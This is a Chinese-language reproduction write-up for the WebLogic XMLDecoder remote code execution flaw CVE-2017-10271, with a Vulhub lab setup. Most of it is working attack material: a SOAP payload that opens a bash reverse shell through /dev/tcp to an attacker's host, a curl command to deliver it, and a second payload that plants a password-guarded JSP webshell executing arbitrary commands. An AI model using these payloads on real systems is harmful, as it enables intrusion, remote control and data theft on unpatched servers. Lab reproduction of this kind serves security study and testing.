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113 lines
3.4 KiB
Markdown
113 lines
3.4 KiB
Markdown
# Weblogic XMLDecoder 远程代码执行漏洞 CVE-2017-10271
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## 漏洞描述
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Weblogic的WLS Security组件对外提供webservice服务，其中使用了XMLDecoder来解析用户传入的XML数据，在解析的过程中出现反序列化漏洞，导致可执行任意命令。
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## 漏洞影响
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```
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Weblogic 10.3.6.0.0
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Weblogic 12.1.3.0.0
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Weblogic 12.2.1.0.0
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Weblogic 12.2.1.2.0
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```
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## 环境搭建
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Vulhub 搭建 weblogic 10.3.6.0 环境：
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```
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git clone https://github.com/vulhub/vulhub.git
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cd vulhub/weblogic/CVE-2017-10271
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docker-compose up -d
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```
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启动完成后访问`http://your-vps-ip:7001/console`可以看到管理界面。
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## 漏洞复现
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访问 `http://your-ip:7001/wls-wsat/CoordinatorPortType`，若存在，则可能存在漏洞。其他可利用 URL：
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```plain
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/wls-wsat/CoordinatorPortType
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/wls-wsat/RegistrationPortTypeRPC
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/wls-wsat/ParticipantPortType
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/wls-wsat/RegistrationRequesterPortType
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/wls-wsat/CoordinatorPortType11
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/wls-wsat/RegistrationPortTypeRPC11
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/wls-wsat/ParticipantPortType11
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/wls-wsat/RegistrationRequesterPortType11
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```
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将以下 xml 数据保存为 poc.xml：
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```
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<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
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<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
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<java version="1.4.0" class="java.beans.XMLDecoder">
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<void class="java.lang.ProcessBuilder">
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<array class="java.lang.String" length="3">
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<void index="0">
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<string>/bin/bash</string>
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</void>
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<void index="1">
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<string>-c</string>
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</void>
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<void index="2">
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<string>bash -i >& /dev/tcp/<your-vps-ip>/<your-vps-port> 0>&1</string>
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</void>
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</array>
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<void method="start"/></void>
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</java>
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</work:WorkContext>
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</soapenv:Header>
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<soapenv:Body/>
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</soapenv:Envelope>
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```
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使用 curl 以 post 方法上传 poc.xml，反弹shell：
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```shell
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curl -v -X POST -H "Content-Type: text/xml" --data @poc.xml "http://your-ip:7001/wls-wsat/CoordinatorPortType"
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```
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也可以写入 webshell：
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```
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<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
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<soapenv:Header>
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<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
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<java><java version="1.4.0" class="java.beans.XMLDecoder">
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<object class="java.io.PrintWriter">
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<string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string>
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<void method="println"><string>
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<![CDATA[
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<% if("023".equals(request.getParameter("pwd"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("<pre>"); while((a=in.read(b))!=-1){ out.println(new String(b)); } out.print("</pre>"); } %>
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]]>
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</string>
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</void>
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<void method="close"/>
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</object></java></java>
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</work:WorkContext>
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</soapenv:Header>
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<soapenv:Body/>
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</soapenv:Envelope>
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```
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访问 webshell：
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```
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http://your-ip:7001/bea_wls_internal/test.jsp?pwd=023&i=whoami
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```
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